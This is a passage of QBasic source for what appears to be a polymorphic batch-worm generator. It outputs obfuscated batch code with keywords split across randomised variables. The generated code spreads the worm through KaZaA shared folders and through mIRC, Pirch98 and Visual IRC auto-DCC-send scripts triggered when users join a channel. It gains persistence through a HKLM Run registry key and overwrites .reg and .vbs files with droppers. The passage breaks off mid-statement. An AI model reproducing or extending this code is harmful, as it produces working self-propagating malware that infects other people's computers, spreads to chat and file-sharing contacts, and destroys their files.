rand = 1 THEN csc$ = "c%cscA%pt" IF rand = 2 THEN PRINT #1, ""; CC$; "set cscA=csc" IF rand = 2 THEN csc$ = "%cscA%ript" IF rand = 3 THEN PRINT #1, ""; CC$; "set cscA=ipt" IF rand = 3 THEN csc$ = "cscr%cscA%" PRINT #1, "set "; cscript$; "="; csc$; CC$ PRINT #1, "%"; cscript$; "% C:\"; fina$; CC$ PRINT #1, "del C:\"; fina$; CC$ PRINT #1, "del C:\"; OLAttachment$; CC$ OLend: IF kazza = 1 THEN GOTO KazzaA GOTO KazzaAEnd KazzaA: rand = INT(RND * 2) + 1 PRINT #1, "copy "; MyS$; " C:\kazzad.vbs"; EE$ PRINT #1, "echo.on error resume next $gt; C:\kazzad.vbs"; EE$ PRINT #1, "echo set ws = CreateObject("; CHR$(34); "wscript.shell"; CHR$(34); ") $gt;$gt; C:\kazzad.vbs"; EE$ IF rand = 1 THEN HKLM$ = "HK%kazaa%" IF rand = 1 THEN PRINT #1, ""; EE$; "set kazaa=LM" IF rand = 2 THEN HKLM$ = "%kazaa%LM" IF rand = 2 THEN PRINT #1, ""; EE$; "set kazaa=HK" PRINT #1, "goto kazari"; EE$ PRINT #1, ""; EE$; "set kazaa=AJ" PRINT #1, ":kazari "; EE$ rand = INT(RND * 2) + 1 IF rand = 1 THEN kazaA$ = "Dl%kazab%" IF rand = 1 THEN PRINT #1, ""; EE$; "set kazab=Dir0" IF rand = 2 THEN kazaA$ = "%kazab%Dir0" IF rand = 2 THEN PRINT #1, ""; EE$; "set kazab=Dl" PRINT #1, "goto kazbri"; EE$ PRINT #1, ""; EE$; "set kazab=U6" PRINT #1, ":kazbri "; EE$ rand = INT(RND * 2) + 1 IF rand = 1 THEN PRINT #1, ""; EE$; "set kazac=z" IF rand = 1 THEN kazaB$ = "ka%kazac%aa" IF rand = 2 THEN PRINT #1, ""; EE$; "set kazac=ka" IF rand = 2 THEN PRINT #1, ""; EE$; "set kazad=aa" IF rand = 2 THEN kazaB$ = "%kazac%z%kazad%" PRINT #1, "goto kazcri"; EE$ PRINT #1, ""; EE$; "set kazac=Rt" PRINT #1, ":kazcri "; EE$ PRINT #1, "echo ws.regwrite "; CHR$(34); ""; HKLM$; "\Software\"; kazaB$; "\Transfer\"; kazaA$; CHR$(34); ","; CHR$(34); "%windir%\kazaa\"; CHR$(34); " $gt;$gt; C:\kazzad.vbs"; EE$ PRINT #1, "cscript C:\kazzad.vbs"; EE$ PRINT #1, "del C:\kazzad.vbs"; EE$ PRINT #1, "md %windir%\kazaa"; EE$ PRINT #1, "copy %MyS% %windir%\kazaa\"; kazzaattachment$; EE$ PRINT #1, ""; EE$; "set kaza=" PRINT #1, ""; EE$; "set kazb=" PRINT #1, ""; EE$; "set kazc=" PRINT #1, ""; EE$; "set kazd=" KazzaAEnd: IF mIRC = 1 THEN GOTO mir GOTO IRCENDE mir: PRINT #1, "md C:\pro"; DD$ PRINT #1, "copy "; MyS$; " C:\pro\"; mIRCAttachment$; DD$ PRINT #1, "if exist C:\mirc\script.ini set mIRC=C:\mirc\script.ini"; DD$ PRINT #1, "if exist C:\mirc32\script.ini set mIRC=C:\mirc32\script.ini"; DD$ PRINT #1, "if exist C:\progra~1\mirc\script.ini set mIRC=C:\progra~1\mirc\script.ini"; DD$ PRINT #1, "if exist C:\progra~1\mirc32\script.ini set mIRC=C:\progra~1\mirc32\script.ini"; DD$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ PRINT #1, ""; DD$; "set spp="; c$ mirp = INT(RND * 3) + 1 IF mirp = 1 THEN PRINT #1, ""; DD$; "set spp=dcc send $nick C:\pro\"; mIRCAttachment$ IF mirp = 2 THEN PRINT #1, ""; DD$; "set ircc=send"; " % DDDD %" IF mirp = 2 THEN PRINT #1, ""; DD$; "set spp=dcc %ircc% $nick C:\pro\"; mIRCAttachment$ IF mirp = 3 THEN PRINT #1, ""; DD$; "set ircc=nick"; " % DDDD %" IF mirp = 3 THEN PRINT #1, ""; DD$; "set spp=dcc send $%ircc% C:\pro\"; mIRCAttachment$ PRINT #1, "goto mircri"; DD$ PRINT #1, ""; DD$; "set spp=kfhenv" PRINT #1, ":mircri"; DD$ PRINT #1, "echo [script] $gt; %mIRC%"; DD$ mirp = INT(RND * 5) + 1 ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ PRINT #1, ""; DD$; "set ircb="; c$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ oooz = INT(RND * 9) + 1 PRINT #1, ""; DD$; "set "; c$; "="; oooz PRINT #1, ""; DD$; "set "; c$; "=1" d$ = "%" + c$ + "%" IF mirp = 1 THEN PRINT #1, ""; DD$; "set ircb=nick" IF mirp = 1 THEN PRINT #1, "echo n0=on "; d$; ":join:*.*: { if ( $%ircb% !=$me ) /%spp% } $gt;$gt;%mIRC%"; DD$ IF mirp = 2 THEN PRINT #1, ""; DD$; "set ircb=jo" IF mirp = 2 THEN PRINT #1, "echo n0=on "; d$; ":%ircb%in:*.*: { if ( $nick !=$me ) /%spp% } $gt;$gt;%mIRC%"; DD$ IF mirp = 3 THEN PRINT #1, ""; DD$; "set ircb=if" IF mirp = 3 THEN PRINT #1, "echo n0=on "; d$; ":join:*.*: { %ircb% ( $nick !=$me ) /%spp% } $gt;$gt;%mIRC%"; DD$ IF mirp = 4 THEN PRINT #1, ""; DD$; "set ircb=in" IF mirp = 4 THEN PRINT #1, "echo n0=on "; d$; ":jo%ircb%:*.*: { if ( $nick !=$me ) /%spp% } $gt;$gt;%mIRC%"; DD$ IF mirp = 5 THEN PRINT #1, ""; DD$; "set ircb=on" IF mirp = 5 THEN PRINT #1, "echo n0=%ircb% "; d$; ":join:*.*: { if ( $nick !=$me ) /%spp% } $gt;$gt;%mIRC%"; DD$ PRINT #1, ""; DD$; "set ircb=" PRINT #1, ""; DD$; "set spp=" PRINT #1, ""; DD$; "set mIRC=" PRINT #1, ""; DD$; "set "; ooo$; "=" IRCENDE: IF pirchb = 1 THEN GOTO PIRCH GOTO PIRCHEND REM pia-pie PIRCH: PRINT #1, "if exist C:\pirch98\events.ini goto pir"; EE$ PRINT #1, "goto pirend"; EE$ PRINT #1, ":pir"; EE$ PRINT #1, "copy "; MyS$; " %WinDir%\"; pIRChAttachment$; EE$ pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo [Levels] $gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pif=Lev" IF pip = 2 THEN PRINT #1, "echo [%pif%els] $gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pif=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo Enabled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pig=able" IF pip = 2 THEN PRINT #1, "echo En%pig%d=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pig=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo Count=6 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pih=Count" IF pip = 2 THEN PRINT #1, "echo %pih%=6 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pih=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo Level1=000-Unknows $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pii=Unknows" IF pip = 2 THEN PRINT #1, "echo Level1=000-%pii% $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pii=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo 000-UnknowsEnabled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pij=wsEnab" IF pip = 2 THEN PRINT #1, "echo 000-Unkno%pij%led=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pij=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo Level2=100-Level 100 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pik=evel2" IF pip = 2 THEN PRINT #1, "echo L%pik%=100-Level 100 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pik=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo 100-Level 100Enabled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pil=En" IF pip = 2 THEN PRINT #1, "echo 100-Level 100%pil%abled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pil=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo Level3=200-Level 200 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pim=ve" IF pip = 2 THEN PRINT #1, "echo Le%pim%l3=200-Level 200 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pim=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo 200-Level 200Enabled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pin=0Ena" IF pip = 2 THEN PRINT #1, "echo 200-Level 20%pin%bled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pin=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo Level4=300-Level 300 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pio=vel4" IF pip = 2 THEN PRINT #1, "echo Le%pio%=300-Level 300 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pio=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo 300-Level 300Enabled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pip=300" IF pip = 2 THEN PRINT #1, "echo %pip%-Level 300Enabled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pip=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo Level5=400-Level 400 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set piq=400" IF pip = 2 THEN PRINT #1, "echo Level5=%piq%-Level 400 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF piq = 2 THEN PRINT #1, ""; EE$; "set piq=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo 400-Level 400Enabled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pir=0En" IF pip = 2 THEN PRINT #1, "echo 400-Level 40%pir%abled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pir=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo Level6=500-Level 500 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pis=Level6" IF pip = 2 THEN PRINT #1, "echo L%pis%=500-Level 500 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pis=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo 500-Level 500Enabled=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pit=abled" IF pip = 2 THEN PRINT #1, "echo 500-Level 500En%pit%=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pit=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo [000-Unknowns] $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pia=000" IF pip = 2 THEN PRINT #1, "echo [%pia%-Unknowns] $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pia=" pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo User1=*!*@* $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pib=Use" IF pip = 2 THEN PRINT #1, "echo %pib%r1=*!*@* $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pib=" pip = INT(RND * 2) IF pip = 1 THEN PRINT #1, "echo UserCount=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pic=erCo" IF pip = 2 THEN PRINT #1, "echo Us%pic%unt=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pic=" rand = INT(RND * 4) + 1 ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(RND) c$ = a$ + B$ PRINT #1, "set pirchA="; c$; EE$ IF rand = 1 THEN PRINT #1, ""; EE$; "set pirchA=s" IF rand = 1 THEN pirchset$ = "%pirchA%end" IF rand = 2 THEN PRINT #1, ""; EE$; "set pirchA=e" IF rand = 2 THEN pirchset$ = "s%pirchA%nd" IF rand = 3 THEN PRINT #1, ""; EE$; "set pirchA=n" IF rand = 3 THEN pirchset$ = "se%pirchA%d" IF rand = 4 THEN PRINT #1, ""; EE$; "set pirchA=d" IF rand = 4 THEN pirchset$ = "sen%pirchA%" ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(RND) c$ = a$ + B$ PRINT #1, "set pirchB="; c$; EE$ PRINT #1, ""; EE$; "set pid=ON JOIN" PRINT #1, "goto pirchri"; EE$ PRINT #1, ""; EE$; "set pid=jojo" PRINT #1, ":pirchri"; EE$ PRINT #1, "echo Events1= %pid%:#: /dcc "; pirchset$; " $nick %WinDir%\"; pIRChAttachment$; " $gt;$gt; C:\Pirch98\events.ini"; EE$ pip = INT(RND * 2) + 1 IF pip = 1 THEN PRINT #1, "echo EventCount=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ IF pip = 2 THEN PRINT #1, ""; EE$; "set pie=Event" IF pip = 2 THEN PRINT #1, "echo %pie%Count=1 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo [100-Level 100] $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo UserCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo EventCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo [200-Level 200] $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo UserCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo EventCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo [300-Level 300] $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo UserCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo EventCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo [400-Level 400] $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo UserCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo EventCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo [500-Level 500] $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo UserCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, "echo EventCount=0 $gt;$gt; C:\Pirch98\events.ini"; EE$ PRINT #1, ":pirend"; EE$ PIRCHEND: IF vircB = 0 THEN GOTO VircEnd ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) vvbsname$ = a$ + B$ + c$ + d$ + e$ + ".vbs" ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ PRINT #1, "set sendA="; c$; CC$ rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set sendA=s" IF rand = 1 THEN snd$ = "%sendA%end" IF rand = 2 THEN PRINT #1, ""; CC$; "set sendA=e" IF rand = 2 THEN snd$ = "s%sendA%nd" IF rand = 3 THEN PRINT #1, ""; CC$; "set sendA=n" IF rand = 3 THEN snd$ = "se%sendA%d" IF rand = 4 THEN PRINT #1, ""; CC$; "set sendA=d" IF rand = 4 THEN snd$ = "sen%sendA%" ran = INT(RND * 26) + 97 a$ = CHR$(ran) PRINT #1, ""; CC$; "set vircA="; a$; PRINT #1, "copy "; MyS$; " C:\Virc\"; vircattachment$; CC$ PRINT #1, "copy "; MyS$; " "; vvbsname$; CC$ PRINT #1, "echo.on error resume next $gt;"; vvbsname$; CC$ rand = INT(RND * 4) + 1 ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ PRINT #1, ""; CC$; "set vircB="; c$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ PRINT #1, ""; CC$; "set vircC="; c$ IF rand = 1 THEN PRINT #1, ""; CC$; "set vircB=w" IF rand = 1 THEN vircB$ = "%vircB%scr" IF rand = 2 THEN PRINT #1, ""; CC$; "set vircB=s" IF rand = 2 THEN vircB$ = "w%vircB%cr" IF rand = 3 THEN PRINT #1, ""; CC$; "set vircB=c" IF rand = 3 THEN vircB$ = "ws%vircB%r" IF rand = 4 THEN PRINT #1, ""; CC$; "set vircB=r" IF rand = 4 THEN vircB$ = "wsc%vircB%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set vircC=i" IF rand = 1 THEN vircC$ = "%vircC%pt" IF rand = 2 THEN PRINT #1, ""; CC$; "set vircC=p" IF rand = 2 THEN vircC$ = "i%vircC%t" IF rand = 3 THEN PRINT #1, ""; CC$; "set vircC=t" IF rand = 3 THEN vircC$ = "ip%vircC%" vircD$ = vircB$ + vircC$ PRINT #1, "echo set ws = CreateObject("; CHR$(34); vircD$; ".shell"; CHR$(34); ") $gt;$gt; "; vvbsname$; CC$ PRINT #1, ""; CC$; "set vircB=" PRINT #1, ""; CC$; "set vircC=" PRINT #1, ""; CC$; "set vircy=USER" PRINT #1, "goto vircari"; CC$ PRINT #1, ""; CC$; "set vircy=kdsj" PRINT #1, ":vircari"; CC$ rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set vircA=dcc" IF rand = 1 THEN PRINT #1, "goto vircri"; CC$ IF rand = 1 THEN PRINT #1, ""; CC$; "set vircA=kaj" IF rand = 1 THEN PRINT #1, ":vircri"; CC$ IF rand = 1 THEN PRINT #1, "echo ws.regwrite "; CHR$(34); "HKEY_%vircy%\.Default\Software\MeGaLiTh Software\Visual IRC 96\Events\Event17"; CHR$(34); ","; CHR$(34); "%vircA% "; snd$; " $nick C:\Virc\"; vircattachment$; " "; CHR$(34); " $gt;$gt;"; vvbsname$ _ ; CC$ IF rand = 2 THEN PRINT #1, ""; CC$; "set vircA=MeGaLiTh" IF rand = 2 THEN PRINT #1, "goto vircri"; CC$ IF rand = 2 THEN PRINT #1, ""; CC$; "set vircA=fhruz" IF rand = 2 THEN PRINT #1, ":vircri"; CC$ IF rand = 2 THEN PRINT #1, "echo ws.regwrite "; CHR$(34); "HKEY_%vircy%\.Default\Software\%vircA% Software\Visual IRC 96\Events\Event17"; CHR$(34); ","; CHR$(34); "dcc "; snd$; " $nick C:\Virc\"; vircattachment$; " "; CHR$(34); " $gt;$gt;"; vvbsname$; CC$ IF rand = 3 THEN PRINT #1, ""; CC$; "set vircA=Software" IF rand = 3 THEN PRINT #1, "goto vircri"; CC$ IF rand = 3 THEN PRINT #1, ""; CC$; "set vircA=lalala" IF rand = 3 THEN PRINT #1, ":vircri"; CC$ IF rand = 3 THEN PRINT #1, "echo ws.regwrite "; CHR$(34); "HKEY_%vircy%\.Default\%vircA%\MeGaLiTh %vircA%\Visual IRC 96\Events\Event17"; CHR$(34); ","; CHR$(34); "dcc "; snd$; " $nick C:\Virc\"; vircattachment$; " "; CHR$(34); " $gt;$gt;"; vvbsname$; CC$ PRINT #1, ""; CC$; "set vircA=" PRINT #1, ""; CC$; "set sendA=" PRINT #1, ""; CC$; "set vircy=" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set regiA=sc" IF rand = 1 THEN regy$ = "c%regi%ript" IF rand = 2 THEN PRINT #1, ""; CC$; "set regiA=rip" IF rand = 2 THEN regy$ = "csc%regiA%t" IF rand = 3 THEN PRINT #1, ""; CC$; "set regiA=csc" IF rand = 3 THEN regy$ = "%regiA%ript" PRINT #1, ""; regy$; " "; vvbsname$; CC$ PRINT #1, "del "; vvbsname$; CC$ PRINT #1, ""; CC$; "set regiA=" VircEnd: IF RegFileI = 0 THEN GOTO RegFileEnd ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) regwormfile$ = a$ + B$ + c$ + d$ + e$ + ".bat" psyreg$ = "oqzbd.reg" regpathname$ = "kfienq" PRINT #1, "copy "; MyS$; " %windir%\"; regwormfile$; DD$ PRINT #1, "echo REGEDIT4 $gt;"; psyreg$; DD$ IF rand = 1 THEN PRINT #1, ""; DD$; "set regA=S" IF rand = 1 THEN regA$ = "%regA%oft" IF rand = 2 THEN PRINT #1, ""; DD$; "set regA=o" IF rand = 2 THEN regA$ = "S%regA%ft" IF rand = 3 THEN PRINT #1, ""; DD$; "set regA=f" IF rand = 3 THEN regA$ = "So%regAft" IF rand = 4 THEN PRINT #1, ""; DD$; "set regA=t" IF rand = 4 THEN regA$ = "Sof%regA%" rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; DD$; "set regB=w" IF rand = 1 THEN regb$ = "%regB%are" IF rand = 2 THEN PRINT #1, ""; DD$; "set regB=a" IF rand = 2 THEN regb$ = "w%regB%re" IF rand = 3 THEN PRINT #1, ""; DD$; "set regB=r" IF rand = 3 THEN regb$ = "wa%regB%e" IF rand = 4 THEN PRINT #1, ""; DD$; "set regB=e" IF rand = 4 THEN regb$ = "war%regB%" PRINT #1, "goto redrri "; DD$ rand = INT(RND * 4) + 1 ran = INT(RND * 26) + 97 regAP$ = CHR$(ran) ran = INT(RND * 26) + 97 regBP$ = CHR$(ran) regAPP$ = regAP$ + regBP$ ran = INT(RND * 26) + 97 regAP$ = CHR$(ran) ran = INT(RND * 26) + 97 regBP$ = CHR$(ran) regBPP$ = regAP$ + regBP$ PRINT #1, ""; DD$; "set regA="; regAPP$ PRINT #1, ""; DD$; "set regB="; regBPP$ PRINT #1, ":regdrri "; DD$ regAB$ = regA$ + regb$ PRINT #1, "echo [HKEY_LOCAL_MACHINE\"; regAB$; "\Microsoft\Windows\CurrentVersion\Run] $gt;$gt;"; psyreg$; DD$ PRINT #1, "echo "; CHR$(34); regpathname$; CHR$(34); "="; CHR$(34); "%windir%\"; regwormfile$; CHR$(34); "$gt;$gt;"; psyreg$; DD$ PRINT #1, ""; DD$; "set RDA=for" PRINT #1, "%RDA% %%r in (*.reg \*.reg ..\*.reg %path%\*.reg %windir%\*.reg) do copy "; psyreg$; " %%r"; DD$ PRINT #1, "del "; psyreg$; DD$ PRINT #1, ""; DD$; "set regA=" PRINT #1, ""; DD$; "set regB=" RegFileEnd: IF VBSFileI = 1 THEN GOTO VBSInfection GOTO VBSInfectionEnd VBSInfection: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) vbsDropFile$ = a$ + B$ + c$ + d$ + e$ + ".vbs" ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) vbsDropFileRun$ = "%windir%\" + a$ + B$ + c$ + d$ + e$ + ".bat" rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; EE$; "set vbsA=w" IF rand = 1 THEN vbsAP$ = "%vbsA%scr" IF rand = 2 THEN PRINT #1, ""; EE$; "set vbsA=s" IF rand = 2 THEN vbsAP$ = "w%vbsA%cr" IF rand = 3 THEN PRINT #1, ""; EE$; "set vbsA=c" IF rand = 3 THEN vbsAP$ = "ws%vbsA%r" IF rand = 4 THEN PRINT #1, ""; EE$; "set vbsA=r" IF rand = 4 THEN vbsAP$ = "wsc%vbsA%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; EE$; "set vbsB=i" IF rand = 1 THEN vbsBP$ = "%vbsB%pt" IF rand = 2 THEN PRINT #1, ""; EE$; "set vbsB=p" IF rand = 2 THEN vbsBP$ = "i%vbsB%t" IF rand = 3 THEN PRINT #1, ""; EE$; "set vbsB=t" IF rand = 3 THEN vbsBP$ = "ip%vbsB%" vbsAB$ = vbsAP$ + vbsBP$ PRINT #1, "goto VBSdropwri "; EE$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) vbsAPF$ = a$ + B$ PRINT #1, "set vbsA="; vbsAPF$; EE$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) vbsBPF$ = a$ + B$ PRINT #1, ""; EE$; "set vbsB="; vbsBPF$ PRINT #1, ":vbsdropwri "; EE$ PRINT #1, "copy "; MyS$; " "; vbsDropFile$; EE$ PRINT #1, "copy "; MyS$; " "; vbsDropFileRun$; EE$ PRINT #1, "echo.on error resume next $gt; "; vbsDropFile$; EE$ PRINT #1, "echo dim wsh $gt;$gt;"; vbsDropFile$; EE$ PRINT #1, "echo set wsh="; vbsAB$; ".createobject("; CHR$(34); vbsAB$; ".shell"; CHR$(34); ") $gt;$gt;"; vbsDropFile$; EE$ PRINT #1, "echo wsh.run "; CHR$(34); vbsDropFileRun$; CHR$(34); " $gt;$gt;"; vbsDropFile$; EE$ PRINT #1, ""; EE$; "set VDA=for" PRINT #1, "%VDA% %%q in (*.vbs \*.vbs ..\*.vbs %path%\*.vbs %windir%\*.vbs) do copy "; vbsDropFile$; " %%q"; EE$ PRINT #1, ""; EE$; "set VDA=" PRINT #1, ""; EE$; "set vbsA=" PRINT #1, ""; EE$; "set vbsB=" VBSInfectionEnd: IF regkey = 1 THEN GOTO ReKey GOTO ReKeyEnd ReKey: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) regi$ = a$ + B$ + c$ + d$ + e$ + ".vbs" ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) regiop$ = a$ + B$ + c$ + d$ + e$ + ".bat" ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) reginame$ = a$ + B$ + c$ + d$ + e$ PRINT #1, "copy "; MyS$; " "; regi$; CC$ PRINT #1, "copy "; MyS$; " %windir%\"; regiop$; CC$ PRINT #1, "echo.on error resume next $gt;"; regi$; CC$ PRINT #1, "echo set ws = CreateObject("; CHR$(34); "wscript.shell"; CHR$(34); ") $gt;$gt; "; regi$; CC$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ PRINT #1, "" PRINT #1, ""; CC$; "set regi=HKLM" PRINT #1, "goto regiri"; CC$ PRINT #1, ""; CC$; "set regi="; c$ PRINT #1, ":regiri"; CC$ PRINT #1, "echo ws.regwrite "; CHR$(34); "%regi%\Software\Microsoft\Windows\CurrentVersion\Run\"; 